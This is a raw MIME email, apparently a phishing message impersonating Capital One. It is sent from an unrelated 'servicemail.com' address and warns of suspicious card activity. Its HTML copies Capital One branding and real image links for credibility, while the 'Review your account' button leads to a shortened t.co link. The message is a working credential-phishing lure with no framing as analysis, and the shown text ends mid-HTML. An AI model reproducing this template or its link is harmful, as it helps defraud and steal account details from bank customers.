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Return-Path: <cardmember-info@servicemail.com> Delivered-To: info@cipadconsult.com Received: from host37.registrar-servers.com by host37.registrar-servers.com with LMTP id CL+5LtqvUWkj9QMAc5oeng (envelope-from <cardmember-info@servicemail.com>) for <info@cipadconsult.com>; Sun, 28 Dec 2025 17:31:54 -0500 Return-path: <cardmember-info@servicemail.com> Envelope-to: info@cipadconsult.com Delivery-date: Sun, 28 Dec 2025 17:31:54 -0500 Received: from [190.196.162.122] (port=61071 helo=servicemail.com) by host37.registrar-servers.com with esmtp (Exim 4.98.2) (envelope-from <cardmember-info@servicemail.com>) id 1vZzIn-00000001FfU-0s8Z for info@cipadconsult.com; Sun, 28 Dec 2025 17:31:54 -0500 From: " Capital One \| Business " <cardmember-info@servicemail.com> To: info@cipadconsult.com Subject: =?UTF-8?B?SW1wb3J0YW50OiBTdXNwaWNpb3VzIEFjdGl2aXR5IG9uIFlvdXIgQ2FwaXRhbCBPbmUgQ2FyZCDigJMgQWN0IE5vdw==?= Date: 28 Dec 2025 19:28:50 -0300 Message-ID: <20251228192849.16B37AC07FD9B50B@servicemail.com> MIME-Version: 1.0 Content-Type: multipart/related; boundary="----=_NextPart_000_0012_79330E60.84B6862F" ------=_NextPart_000_0012_79330E60.84B6862F Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable <HTML><HEAD><meta http-equiv=3D"Content-Type" content=3D"text/html; charset= =3DUTF-8"/> <META name=3DGENERATOR content=3D"MSHTML 11.00.10570.1001"></HEAD> <BODY><DIV lang=3Den class=3Dv1darkmode style=3D"BOX-SIZING: border-box; FO= NT-SIZE: 14px; FONT-FAMILY: Roboto, sans-serif; WIDTH: 738px; WHITE-SPACE: = normal; WORD-SPACING: 0px; TABLE-LAYOUT: fixed; TEXT-TRANSFORM: none; FONT-= WEIGHT: 400; COLOR: rgb(44,54,58); FONT-STYLE: normal; TEXT-ALIGN: left; OR= PHANS: 2; WIDOWS: 2; LETTER-SPACING: normal; BACKGROUND-COLOR: rgb(244,244,= 244); TEXT-INDENT: 0px; font-variant-ligatures: normal; font-variant-caps: = normal; -webkit-text-stroke-width: 0px; text-decoration-thickness: initial;= text-decoration-style: initial; text-decoration-color: initial; text-size-= adjust: 100%; -webkit-font-smoothing: antialiased"> <TABLE class=3Dv1darkmode style=3D"BOX-SIZING: border-box; MAX-WIDTH: 640px= ; WIDTH: 640px; BORDER-COLLAPSE: collapse; MARGIN: 0px auto" cellSpacing=3D= 0 cellPadding=3D0 align=3Dcenter bgColor=3D#f4f4f4 border=3D0> <TBODY style=3D"BOX-SIZING: border-box"> <TR style=3D"BOX-SIZING: border-box"> <TD class=3Dv1top style=3D"BOX-SIZING: border-box; PADDING-TOP: 16px"> <TABLE class=3D"v1darkmode v1header" style=3D"BOX-SIZING: border-box; BORDE= R-COLLAPSE: collapse" cellSpacing=3D0 cellPadding=3D0 width=3D"100%" bgColo= r=3D#ffffff border=3D0> <TBODY style=3D"BOX-SIZING: border-box"> <TR style=3D"BOX-SIZING: border-box"> <TD style=3D"BOX-SIZING: border-box; PADDING-BOTTOM: 8px; PADDING-TOP: 16px= ; PADDING-LEFT: 24px; PADDING-RIGHT: 24px"> <TABLE style=3D"BOX-SIZING: border-box; BORDER-COLLAPSE: collapse; MARGIN-L= EFT: auto" cellSpacing=3D0 cellPadding=3D0 align=3Dright border=3D0> <TBODY style=3D"BOX-SIZING: border-box"> <TR style=3D"BOX-SIZING: border-box"> <TD style=3D"BOX-SIZING: border-box; PADDING-RIGHT: 4px"><A style=3D"BOX-SI= ZING: border-box; TEXT-DECORATION: none; COLOR: rgb(0,172,255); BACKGROUND-= COLOR: transparent" href=3D"https://click-notification.capitalone.com/f/a/p= TBkgk2ZKbex5O6H37BtVQ~~/AAAAARA~/vX54N0V2qoXSb9311RISKD0zIGPBa4X9p6py9M_2Ry= d3s1DODqVWiwLYZUPPA9evLS9CPjjOUnXmNHIwt74wQ-AltRctjJjoykeWvxIY34QGn1ExjZbl1= Y4a85ZwAoNlVNDolN1FI36ZefxUwIsNZj2A7NjFFop6H8SQ-_gqoh2UmS9-VMkmk07iWRKDind_= HfIA9eLasI2regWGQynU4VCGccZMBkiKEBIuO0OYBVE~" rel=3Dnoreferrer target=3D_bl= ank><IMG class=3Dv1lightimg style=3D'BORDER-TOP-STYLE: none; BOX-SIZING: bo= rder-box; BORDER-LEFT-STYLE: none; VERTICAL-ALIGN: middle; BORDER-BOTTOM-ST= YLE: none; COLOR: rgb(20,20,20); FONT: 12px/18px Optimist, "Helvetica Neue"= , Helvetica, Arial, sans-serif; BORDER-RIGHT-STYLE: none; DISPLAY: block' b= order=3D0 alt=3D"Sign in to your account" src=3D"https://ecm.capitalone.com= /Messaging/assets/images/icons_global/signIn_ui_3x.png" width=3D17 height= =3D18></A></TD> <TD style=3D"BOX-SIZING: border-box"><SPAN class=3Dv1textLink style=3D"BOX-= SIZING: border-box; BORDER-BOTTOM: 1px solid; PADDING-BOTTOM: 1px"></SPAN><= /TD></TR></TBODY></TABLE></TD></TR> <TR style=3D"BOX-SIZING: border-box"> <TD style=3D"BOX-SIZING: border-box; FONT-SIZE: 0px; HEIGHT: 1px; PADDING-B= OTTOM: 0px; PADDING-TOP: 0px; PADDING-LEFT: 24px; LINE-HEIGHT: 0; PADDING-R= IGHT: 24px"> <DIV style=3D"BOX-SIZING: border-box; BORDER-BOTTOM: rgb(212,212,212) 1px s= olid"> </DIV></TD></TR></TBODY></TABLE> <TABLE class=3D"v1darkmode v1header" style=3D"BOX-SIZING: border-box; BORDE= R-COLLAPSE: collapse" cellSpacing=3D0 cellPadding=3D0 width=3D"100%" bgColo= r=3D#ffffff border=3D0> <TBODY style=3D"BOX-SIZING: border-box"> <TR style=3D"BOX-SIZING: border-box"> <TD style=3D"BOX-SIZING: border-box; PADDING-BOTTOM: 16px; PADDING-TOP: 16p= x; PADDING-LEFT: 24px; PADDING-RIGHT: 24px"> <H1 style=3D"BOX-SIZING: border-box; FONT-WEIGHT: 500; MARGIN: 0px; LINE-HE= IGHT: 1.2"><A style=3D"BOX-SIZING: border-box; TEXT-DECORATION: none; COLOR= : rgb(0,172,255); BACKGROUND-COLOR: transparent" href=3D"https://click-noti= fication.capitalone.com/f/a/NFuWZ3UoO9JcVMt5NrVnlw~~/AAAAARA~/KYpfo6zvnNs25= kEMKRarDODpesUntWEJBhmqZKSGsCVp2A4JIoXpgb836pQBDOcO1YOTOrm4t1d-cFG7R19LB4W8= YF32Y0dVCBjI8PIMoPrAzqyYN6JAx3xW1z8RXX1W" rel=3Dnoreferrer target=3D_blank>= <IMG class=3Dv1lightimg style=3D'BORDER-TOP-STYLE: none; BOX-SIZING: border= -box; MAX-WIDTH: 318px !important; BORDER-LEFT-STYLE: none; HEIGHT: auto; W= IDTH: 318px; VERTICAL-ALIGN: middle; BORDER-BOTTOM-STYLE: none; COLOR: rgb(= 20,20,20); FONT: 14px/20px Optimist, "Helvetica Neue", Helvetica, Arial, sa= ns-serif; BORDER-RIGHT-STYLE: none; DISPLAY: block; border-radius: 4px' bor= der=3D0 alt=3D"Capital One \| CreditWise" src=3D"https://ecm.capitalone.com/= Messaging/assets/images/logos_global/lockup_creditWise_3x.png" width=3D318 = height=3D58></A></H1></TD></TR></TBODY></TABLE> <TABLE class=3Dv1darkmode style=3D"BOX-SIZING: border-box; BORDER-COLLAPSE:= collapse" cellSpacing=3D0 cellPadding=3D0 width=3D"100%" bgColor=3D#ffffff= border=3D0> <TBODY style=3D"BOX-SIZING: border-box"> <TR style=3D"BOX-SIZING: border-box"> <TD style=3D'BOX-SIZING: border-box; FONT-FAMILY: Optimist, "Helvetica Neue= ", Helvetica, Arial, sans-serif; COLOR: rgb(20,20,20); PADDING-BOTTOM: 32px= ; TEXT-ALIGN: center; PADDING-TOP: 32px; PADDING-LEFT: 24px; PADDING-RIGHT:= 24px'> <H2 style=3D"BOX-SIZING: border-box; FONT-SIZE: 32px; FONT-WEIGHT: 600; MAR= GIN: 0px; LINE-HEIGHT: 46px"><SPAN style=3D"BOX-SIZING: border-box; FONT-SI= ZE: 36px; FONT-WEIGHT: 300; LINE-HEIGHT: 46px"> <H1 style=3D"BOX-SIZING: border-box; FONT-SIZE: 20px; FONT-FAMILY: arial, h= elvetica, sans-serif; WHITE-SPACE: normal; WORD-SPACING: 0px; TEXT-TRANSFOR= M: none; FONT-WEIGHT: normal; COLOR: rgb(255,255,255); FONT-STYLE: normal; = TEXT-ALIGN: left; ORPHANS: 2; WIDOWS: 2; MARGIN: 0px; LETTER-SPACING: norma= l; LINE-HEIGHT: 26px; BACKGROUND-COLOR: rgb(1,61,91); TEXT-INDENT: 0px; fon= t-variant-ligatures: normal; font-variant-caps: normal; -webkit-text-stroke= -width: 0px; text-decoration-thickness: initial; text-decoration-style: ini= tial; text-decoration-color: initial">Capital One<SUP style=3D"BOX-SIZ= ING: border-box; FONT-SIZE: 13px; VERTICAL-ALIGN: baseline; POSITION: relat= ive; LINE-HEIGHT: 0px; TOP: -0.5em">®</SUP> <STRONG>Card Suspiciou= s Spending Activity</STRONG></H1></SPAN></H2></TD></TR></TBODY></TABLE> <TABLE class=3Dv1darkmode style=3D"BOX-SIZING: border-box; BORDER-COLLAPSE:= collapse" cellSpacing=3D0 cellPadding=3D0 width=3D"100%" bgColor=3D#ffffff= border=3D0> <TBODY style=3D"BOX-SIZING: border-box"> <TR style=3D"BOX-SIZING: border-box"> <TD style=3D'BOX-SIZING: border-box; FONT-SIZE: 16px; FONT-FAMILY: Optimist= , "Helvetica Neue", Helvetica, Arial, sans-serif; COLOR: rgb(20,20,20); PAD= DING-BOTTOM: 24px; TEXT-ALIGN: left; PADDING-TOP: 0px; PADDING-LEFT: 24px; = LINE-HEIGHT: 24px; PADDING-RIGHT: 24px'> <P style=3D"BOX-SIZING: border-box; MARGIN: 0px"><SPAN style=3D"BOX-SIZING:= border-box; FONT-SIZE: 16px; FONT-WEIGHT: 400; LINE-HEIGHT: 24px">We&#8217= ;re reaching out because we’ve noticed some recent transactions on yo= ur Capital One® credit card that don’t match your usual spending = pattern.<BR><BR></SPAN><SPAN style=3D"BOX-SIZING: border-box; FONT-SIZE: 16= px; FONT-WEIGHT: 400; LINE-HEIGHT: 24px">If you recognize these purchases, = please confirm that they’re valid so we can ensure uninterrupted acce= ss to your account. If you don’t recognize them, let us know right aw= ay so we can help protect your card from unauthorized use.</SPAN></P></TD><= /TR> <TR style=3D"BOX-SIZING: border-box"> <TD style=3D"BOX-SIZING: border-box; FONT-SIZE: 0px; PADDING-BOTTOM: 8px; P= ADDING-TOP: 0px; PADDING-LEFT: 0px; LINE-HEIGHT: 0; PADDING-RIGHT: 0px">&nb= sp;</TD></TR></TBODY></TABLE> <TABLE class=3Dv1darkmode style=3D"BOX-SIZING: border-box; BORDER-COLLAPSE:= collapse" cellSpacing=3D0 cellPadding=3D0 width=3D"100%" bgColor=3D#ffffff= border=3D0> <TBODY style=3D"BOX-SIZING: border-box"> <TR style=3D"BOX-SIZING: border-box"> <TD style=3D"BOX-SIZING: border-box; PADDING-BOTTOM: 24px; TEXT-ALIGN: cent= er; PADDING-TOP: 0px; PADDING-LEFT: 24px; PADDING-RIGHT: 24px"> <TABLE class=3Dv1cssbutton style=3D"BOX-SIZING: border-box; BORDER-COLLAPSE= : collapse; border-radius: 4px" cellSpacing=3D0 cellPadding=3D0 align=3Dcen= ter bgColor=3D#0276b1 border=3D0> <TBODY style=3D"BOX-SIZING: border-box"> <TR style=3D"BOX-SIZING: border-box"> <TD class=3Dv1cssbutton style=3D"BOX-SIZING: border-box; TEXT-ALIGN: center= ; LINE-HEIGHT: 30px" width=3D300><A style=3D'BOX-SIZING: border-box; TEXT-D= ECORATION: none; WIDTH: 300px; COLOR: rgb(0,172,255); FONT: 20px/30px Optim= ist, "Helvetica Neue", Helvetica, Arial, sans-serif; DISPLAY: inline-block;= BACKGROUND-COLOR: transparent' href=3D"https://t.co/rE9y77fxgh" rel=3Dnore= ferrer target=3D_blank><STRONG style=3D"BOX-SIZING: border-box; FONT-WEIGHT= : 400; COLOR: rgb(255,255,255); PADDING-BOTTOM: 9px; PADDING-TOP: 9px; PADD= ING-LEFT: 16px; DISPLAY: inline-block; PADDING-RIGHT: 16px">Review your acc= ount</STRONG></A></TD></TR></TBODY></TABLE> <P> </P> <P>If you recognize the transaction, no further action may be needed. If yo= u do not, please report it immediately so we can take steps to safeguard yo= ur account.</P></TD></TR> <TR style=3D"BOX-SIZING: border-box"> <TD style=3D"BOX-SIZING: border-box; FONT-SIZE: 0px; PADDING-BOTTOM: 8px; P= ADDING-TOP: 0px; PADDING-LEFT: 0px; LINE-HEIGHT: 0; PADDING-RIGHT: 0px">&nb= sp;</TD></TR></TBODY></TABLE> <TABLE class=3Dv1darkmode style=3D"BOX-SIZING: border-box; BORDER-COLLAPSE:= collapse" cellSpacing=3D0 cellPadding=3D0 width=3D"100%" bgColor=3D#ffffff= border=3D0> <TBODY style=3D"BOX-SIZING: border-box"> <TR style=3D"BOX-SIZING: border-box"> <TD style=3D"BOX-SIZING: border-box; PADDING-BOTTOM: 0px; PADDING-TOP: 0px;= PADDING-LEFT: 0px; PADDING-RIGHT: 0px"> <TABLE style=3D"BOX-SIZING: border-box; MAX-WIDTH: 544px; WIDTH: 544px; BOR= DER-COLLAPSE: collapse; MARGIN: 0px auto" cellSpacing=3D0 cellPadding=3D0 a= lign=3Dcenter border=3D0> <TBODY style=3D"BOX-SIZING: border-box"> <TR style=3D"BOX-SIZING: border-box"> <TD style=3D"BOX-SIZING: border-box"> <TABLE class=3Dv1darkaccent style=3D"BOX-SIZING: border-box; BORDER-COLLAPS= E: collapse" cellSpacing=3D0 cellPadding=3D0 width=3D"100%" bgColor=3D#f4f4= f4 border=3D0> <TBODY style=3D"BOX-SIZING: border-box"> <TR style=3D"BOX-SIZING: border-box"> <TD style=3D"BOX-SIZING: border-box; FONT-SIZE: 0px; PADDING-BOTTOM: 24px; = PADDING-TOP: 0px; PADDING-LEFT: 0px; LINE-HEIGHT: 0; PADDING-RIGHT: 0px">&n= bsp;</TD></TR> <TR style=3D"BOX-SIZING: border-box"> <TD style=3D'BOX-SIZING: border-box; FONT-FAMILY: Optimist, "Helvetica Neue= ", Helvetica, Arial, sans-serif; COLOR: rgb(20,20,20); PADDING-BOTTOM: 24px= ; TEXT-ALIGN: center; PADDING-TOP: 0px; PADDING-LEFT: 24px; PADDING-RIGHT: = 24px'> <H2 style=3D"BOX-SIZING: border-box; FONT-SIZE: 24px; FONT-WEIGHT: 600; MAR= GIN: 0px; LINE-HEIGHT: 36px"><SPAN style=3D"BOX-SIZING: border-box; FONT-WE= IGHT: 300"></SPAN> </H2></TD></TR> <TR style=3D"BOX-SIZING: border-box"> <TD style=3D"BOX-SIZING: border-box; FONT-SIZE: 0px; PADDING-BOTTOM: 0px; T= EXT-ALIGN: center; PADDING-TOP: 0px; PADDING-LEFT: 12px; PADDING-RIGHT: 12p= x" dir=3Dltr><SPAN> </SPAN>=20 <DIV class=3Dv1column style=3D"BOX-SIZING: border-box; MAX-WIDTH: 417px; WI= DTH: 417px; VERTICAL-ALIGN: top; DISPLAY: inline-block"> <TABLE style=3D"BOX-SIZING: border-box; BORDER-COLLAPSE: collapse" dir=3Dlt= r cellSpacing=3D0 cellPadding=3D0 width=3D"100%" border=3D0> <TBODY style=3D"BOX-SIZING: border-box"> <TR style=3D"BOX-SIZING: border-box"> <TD style=3D'BOX-SIZING: border-box; FONT-FAMILY: Optimist, "Helvetica Neue= ", Helvetica, Arial, sans-serif; COLOR: rgb(20,20,20); PADDING-BOTTOM: 8px;= TEXT-ALIGN: left; PADDING-TOP: 0px; PADDING-LEFT: 12px; PADDING-RIGHT: 12p= x'> <H2 style=3D"BOX-SIZING: border-box; FONT-SIZE: 16px; FONT-WEIGHT: 600; MAR= GIN: 0px; LINE-HEIGHT: 24px"><STRONG style=3D"BOX-SIZING: border-box; FONT-= WEIGHT: bolder">Payment<SPAN> </SPAN></STRONG><STRONG style=3D"BOX-SIZ= ING: border-box; FONT-WEIGHT: bolder">history<BR class=3Dv1softBreak style= =3D"BOX-SIZING: border-box"></STRONG><SPAN style=3D"BOX-SIZING: border-box;= FONT-WEIGHT: 600; COLOR: rgb(1,61,91)">9/9</SPAN><SPAN style=3D"BOX-SIZING= : border-box; FONT-WEIGHT: 600; COLOR: rgb(1,61,91)"><SPAN>  </SPAN>ac= count payments made on time</SPAN></H2></TD></TR> <TR style=3D"BOX-SIZING: border-box"> <TD style=3D'BOX-SIZING: border-box; FONT-SIZE: 16px; FONT-FAMILY: Optimist= , "Helvetica Neue", Helvetica, Arial, sans-serif; COLOR: rgb(20,20,20); PAD= DING-BOTTOM: 24px; TEXT-ALIGN: left; PADDING-TOP: 0px; PADDING-LEFT: 12px; = LINE-HEIGHT: 24px; PADDING-RIGHT: 12px'> <P style=3D"BOX-SIZING: border-box; MARGIN: 0px">To lenders, your history o= f on-time payments indicates whether you’ll make payments on time in = the future.</P></TD></TR></TBODY></TABLE></DIV></TD></TR></TBODY></TABLE></= TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE> <TABLE class=3Dv1darkmode style=3D"BOX-SIZING: border-box; BORDER-COLLAPSE:= collapse" cellSpacing=3D0 cellPadding=3D0 width=3D"100%" bgColor=3D#ffffff= border=3D0> <TBODY style=3D"BOX-SIZING: border-box"> <TR style=3D"BOX-SIZING: border-box"> <TD style=3D"BOX-SIZING: border-box; PADDING-BOTTOM: 0px; PADDING-TOP: 0px;= PADDING-LEFT: 0px; PADDING-RIGHT: 0px"> <TABLE style=3D"BOX-SIZING: border-box; MAX-WIDTH: 544px; WIDTH: 544px; BOR= DER-COLLAPSE: collapse; MARGIN: 0px auto" cellSpacing=3D0 cellPadding=3D0 a= lign=3Dcenter border=3D0> <TBODY style=3D"BOX-SIZING: border-box"> <TR style=3D"BOX-SIZING: border-box"> <TD style=3D"BOX-SIZING: border-box"> <TABLE class=3Dv1darkaccent style=3D"BOX-SIZING: border-box; BORDER-COLLAPS= E: collapse" cellSpacing=3D0 cellPadding=3D0 width=3D"100%" bgColor=3D#f4f4= f4 border=3D0> <TBODY style=3D"BOX-SIZING: border-box"> <TR style=3D"BOX-SIZING: border-box"> <TD style=3D"BOX-SIZING: border-box; PADDING-BOTTOM: 0px; PADDING-TOP: 0px;= PADDING-LEFT: 24px; PADDING-RIGHT: 24px"> <TABLE style=3D"BOX-SIZING: border-box; BORDER-COLLAPSE: collapse" cellSpac= ing=3D0 cellPadding=3D0 align=3Dcenter border=3D0> <TBODY style=3D"BOX-SIZING: border-box"> <TR style=3D"BOX-SIZING: border-box"> <TD style=3D"BOX-SIZING: border-box; FONT-SIZE: 0px; HEIGHT: 0px; BORDER-BO= TTOM: rgb(125,125,125) 1px solid; PADDING-BOTTOM: 0px; PADDING-TOP: 0px; PA= DDING-LEFT: 0px; LINE-HEIGHT: 0; PADDING-RIGHT: 0px" width=3D640> </TD= ></TR></TBODY></TABLE></TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE><= /TD></TR></TBODY></TABLE> <TABLE class=3Dv1darkmode style=3D"BOX-SIZING: border-box; BORDER-COLLAPSE:= collapse" cellSpacing=3D0 cellPadding=3D0 width=3D"100%" bgColor=3D#ffffff= border=3D0> <TBODY style=3D"BOX-SIZING: border-box"> <TR style=3D"BOX-SIZING: border-box"> <TD style=3D"BOX-SIZING: border-box; PADDING-BOTTOM: 0px; PADDING-TOP: 0px;= PADDING-LEFT: 0px; PADDING-RIGHT: 0px"> <TABLE style=3D"BOX-SIZING: border-box; MAX-WIDTH: 544px; WIDTH: 544px; BOR= DER-COLLAPSE: collapse; MARGIN: 0px auto" cellSpacing=3D0 cellPadding=3D0 a= lign=3Dcenter border=3D0> <TBODY style=3D"BOX-SIZING: border-box"> <TR style=3D"BOX-SIZING: border-box"> <TD style=3D"BOX-SIZING: border-box"> <TABLE class=3Dv1darkaccent style=3D"BOX-SIZING: border-box; BORDER-COLLAPS= E: collapse" cellSpacing=3D0 cellPadding=3D0 width=3D"100%" bgColor=3D#f4f4= f4 border=3D0> <TBODY style=3D"BOX-SIZING: border-box"> <TR style=3D"BOX-SIZING: border-box"> <TD style=3D"BOX-SIZING: border-box; FONT-SIZE: 0px; PADDING-BOTTOM: 24px; = PADDING-TOP: 0px; PADDING-LEFT: 0px; LINE-HEIGHT: 0; PADDING-RIGHT: 0px">&n= bsp;</TD></TR> <TR style=3D"BOX-SIZING: border-box"> <TD style=3D"BOX-SIZING: border-box; FONT-SIZE: 0px; PADDING-BOTTOM: 0px; T= EXT-ALIGN: center; PADDING-TOP: 0px; PADDING-LEFT: 12px; PADDING-RIGHT: 12p= x" dir=3Dltr> <DIV class=3Dv1column style=3D"BOX-SIZING: border-box; MAX-WIDTH: 103px; WI= DTH: 103px; VERTICAL-ALIGN: top; DISPLAY: inline-block"> <TABLE style=3D"BOX-SIZING: border-box; BORDER-COLLAPSE: collapse" dir=3Dlt= r cellSpacing=3D0 cellPadding=3D0 width=3D"100%" border=3D0> <TBODY style=3D"BOX-SIZING: border-box"> <TR style=3D"BOX-SIZING: border-box"> <TD style=3D"BOX-SIZING: border-box; PADDING-BOTTOM: 24px; TEXT-ALIGN: cent= er; PADDING-TOP: 0px; PADDING-LEFT: 12px; PADDING-RIGHT: 12px"><IMG style= =3D'BORDER-TOP-STYLE: none; BOX-SIZING: border-box; MAX-WIDTH: 70px !import= ant; BORDER-LEFT-STYLE: none; HEIGHT: auto; WIDTH: 70px; VERTICAL-ALIGN: bo= ttom; BORDER-BOTTOM-STYLE: none; COLOR: rgb(20,20,20); TEXT-ALIGN: center; = FONT: 20px/30px Optimist, "Helvetica Neue", Helvetica, Arial, sans-serif; B= ORDER-RIGHT-STYLE: none' border=3D0 src=3D"https://mi.capitalone.com/p/rp/b= ed25787d806219a.png?icon_show_border=3Dtrue&icon_color=3D013D5B&ico= n_id=3Dprimary-loans&icon_inner_color=3DFFFFFF&icon_size=3D70&i= con_background=3DF4F4F4" width=3D70></TD></TR> <TR style=3D"BOX-SIZING: border-box"> <TD style=3D"BOX-SIZING: border-box; PADDING-BOTTOM: 8px; PADDING-TOP: 0px;= PADDING-LEFT: 0px; PADDING-RIGHT: 0px"> </TD></TR></TBODY></TABLE></D= IV><SPAN> </SPAN>=20 <DIV class=3Dv1column style=3D"BOX-SIZING: border-box; MAX-WIDTH: 417px; WI= DTH: 417px; VERTICAL-ALIGN: top; DISPLAY: inline-block"> <TABLE style=3D"BOX-SIZING: border-box; BORDER-COLLAPSE: collapse" dir=3Dlt= r cellSpacing=3D0 cellPadding=3D0 width=3D"100%" border=3D0> <TBODY style=3D"BOX-SIZING: border-box"> <TR style=3D"BOX-SIZING: border-box"> <TD style=3D'BOX-SIZING: border-box; FONT-FAMILY: Optimist, "Helvetica Neue= ", Helvetica, Arial, sans-serif; COLOR: rgb(20,20,20); PADDING-BOTTOM: 8px;= TEXT-ALIGN: left; PADDING-TOP: 0px; PADDING-LEFT: 12px; PADDING-RIGHT: 12p= x'> <H2 style=3D"BOX-SIZING: border-box; FONT-SIZE: 16px; FONT-WEIGHT: 600; MAR= GIN: 0px; LINE-HEIGHT: 24px"><STRONG style=3D"BOX-SIZING: border-box; FONT-= WEIGHT: bolder">New<SPAN> </SPAN></STRONG><STRONG style=3D"BOX-SIZING:= border-box; FONT-WEIGHT: bolder">accounts<BR class=3Dv1softBreak style=3D"= BOX-SIZING: border-box"></STRONG><SPAN style=3D"BOX-SIZING: border-box; FON= T-WEIGHT: 600; COLOR: rgb(1,61,91)">0</SPAN><SPAN style=3D"BOX-SIZING: bord= er-box; FONT-WEIGHT: 600; COLOR: rgb(1,61,91)"><SPAN>  </SPAN>new acco= unts</SPAN></H2></TD></TR> <TR style=3D"BOX-SIZING: border-box"> <TD style=3D'BOX-SIZING: border-box; FONT-SIZE: 16px; FONT-FAMILY: Optimist= , "Helvetica Neue", Helvetica, Arial, sans-serif; COLOR: rgb(20,20,20); PAD= DING-BOTTOM: 24px; TEXT-ALIGN: left; PADDING-TOP: 0px; PADDING-LEFT: 12px; = LINE-HEIGHT: 24px; PADDING-RIGHT: 12px'> <P style=3D"BOX-SIZING: border-box; MARGIN: 0px">To lenders, opening too ma= ny new accounts in a short window of time could point to credit problems.</= P></TD></TR></TBODY></TABLE></DIV></TD></TR></TBODY></TABLE></TD></TR></TBO= DY></TABLE></TD></TR></TBODY></TABLE> <TABLE class=3Dv1darkmode style=3D"BOX-SIZING: border-box; BORDER-COLLAPSE:= collapse" cellSpacing=3D0 cellPadding=3D0 width=3D"100%" bgColor=3D#ffffff= border=3D0> <TBODY style=3D"BOX-SIZING: border-box"> <TR style=3D"BOX-SIZING: border-box"> <TD style=3D"BOX-SIZING: border-box; PADDING-BOTTOM: 0px; PADDING-TOP: 0px;= PADDING-LEFT: 0px; PADDING-RIGHT: 0px"> <TABLE style=3D"BOX-SIZING: border-box; MAX-WIDTH: 544px; WIDTH: 544px; BOR= DER-COLLAPSE: collapse; MARGIN: 0px auto" cellSpacing=3D0 cellPadding=3D0 a= lign=3Dcenter border=3D0> <TBODY style=3D"BOX-SIZING: border-box"> <TR style=3D"BOX-SIZING: border-box"> <TD style=3D"BOX-SIZING: border-box"> <TABLE class=3Dv1darkaccent style=3D"BOX-SIZING: border-box; BORDER-COLLAPS= E: collapse" cellSpacing=3D0 cellPadding=3D0 width=3D"100%" bgColor=3D#f4f4= f4 border=3D0> <TBODY style=3D"BOX-SIZING: border-box"> <TR style=3D"BOX-SIZING: border-box"> <TD style=3D"BOX-SIZING: border-box; PADDING-BOTTOM: 0px; PADDING-TOP: 0px;= PADDING-LEFT: 24px; PADDING-RIGHT: 24px"> <TABLE style=3D"BOX-SIZING: border-box; BORDER-COLLAPSE: collapse" cellSpac= ing=3D0 cellPadding=3D0 align=3Dcenter border=3D0> <TBODY style=3D"BOX-SIZING: border-box"> <TR style=3D"BOX-SIZING: border-box"> <TD style=3D"BOX-SIZING: border-box; FONT-SIZE: 0px; HEIGHT: 0px; BORDER-BO= TTOM: rgb(125,125,125) 1px solid; PADDING-BOTTOM: 0px; PADDING-TOP: 0px; PA= DDING-LEFT: 0px; LINE-HEIGHT: 0; PADDING-RIGHT: 0px" width=3D640> </TD= ></TR></TBODY></TABLE></TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE><= /TD></TR></TBODY></TABLE> <TABLE class=3Dv1darkmode style=3D"BOX-SIZING: border-box; BORDER-COLLAPSE:= collapse" cellSpacing=3D0 cellPadding=3D0 width=3D"100%" bgColor=3D#ffffff= border=3D0> <TBODY style=3D"BOX-SIZING: border-box"> <TR style=3D"BOX-SIZING: border-box"> <TD style=3D"BOX-SIZING: border-box; PADDING-BOTTOM: 0px; PADDING-TOP: 0px;= PADDING-LEFT: 0px; PADDING-RIGHT: 0px"></TD></TR></TBODY></TABLE> <TABLE class=3Dv1darkmode style=3D"BOX-SIZING: border-box; BORDER-COLLAPSE:= collapse" cellSpacing=3D0 cellPadding=3D0 width=3D"100%" bgColor=3D#ffffff= border=3D0> <TBODY style=3D"BOX-SIZING: border-box"> <TR style=3D"BOX-SIZING: border-box"> <TD style=3D"BOX-SIZING: border-box; FONT-SIZE: 0px; PADDING-BOTTOM: 32px; = PADDING-TOP: 0px; PADDING-LEFT: 0px; LINE-HEIGHT: 0; PADDING-RIGHT: 0px">&n= bsp;</TD></TR></TBODY></TABLE> <TABLE class=3Dv1darkmode style=3D"BOX-SIZING: border-box; BORDER-COLLAPSE:= collapse" cellSpacing=3D0 cellPadding=3D0 width=3D"100%" bgColor=3D#ffffff= border=3D0> <TBODY style=3D"BOX-SIZING: border-box"> <TR style=3D"BOX-SIZING: border-box"> <TD style=3D"BOX-SIZING: border-box; PADDING-BOTTOM: 24px; TEXT-ALIGN: cent= er; PADDING-TOP: 0px; PADDING-LEFT: 24px; PADDING-RIGHT: 24px"></TD></TR> <TR style=3D"BOX-SIZING: border-box"> <TD style=3D"BOX-SIZING: border-box; FONT-SIZE: 0px; PADDING-BOTTOM: 8px; P= ADDING-TOP: 0px; PADDING-LEFT: 0px; LINE-HEIGHT: 0; PADDING-RIGHT: 0px">&nb= sp;</TD></TR></TBODY></TABLE> <TABLE class=3Dv1footer style=3D"BOX-SIZING: border-box; BORDER-COLLAPSE: c= ollapse" cellSpacing=3D0 cellPadding=3D0 width=3D"100%" border=3D0> <TBODY style=3D"BOX-SIZING: border-box"> <TR style=3D"BOX-SIZING: border-box"> <TD style=3D'BOX-SIZING: border-box; COLOR: rgb(105,105,105); PADDING-BOTTO= M: 8px; TEXT-ALIGN: left; PADDING-TOP: 24px; FONT: 10px/16px Optimist, "Hel= vetica Neue", Helvetica, Arial, sans-serif; PADDING-LEFT: 24px; PADDING-RIG= HT: 24px'> <H2 style=3D"BOX-SIZING: border-box; FONT-SIZE: 10px; FONT-WEIGHT: 600; MAR= GIN: 0px 0px 16px; LINE-HEIGHT: 16px">About this message</H2> <P style=3D"BOX-SIZING: border-box; MARGIN: 0px 0px 16px">The CreditWise Si= mulator provides an estimate of your score change and does not guarantee ho= w your score may change.<BR style=3D"BOX-SIZING: border-box"><BR style=3D"B= OX-SIZING: border-box">Web access is needed to use the mobile app. Check wi= th your service provider for details on specific fees and charges.</P></TD>= </TR> <TR style=3D"BOX-SIZING: border-box"> <TD style=3D"BOX-SIZING: border-box; FONT-SIZE: 0px; HEIGHT: 1px; PADDING-B= OTTOM: 0px; PADDING-TOP: 0px; PADDING-LEFT: 24px; LINE-HEIGHT: 0; PADDING-R= IGHT: 24px"> <DIV style=3D"BOX-SIZING: border-box; BORDER-BOTTOM: rgb(125,125,125) 1px s= olid"> 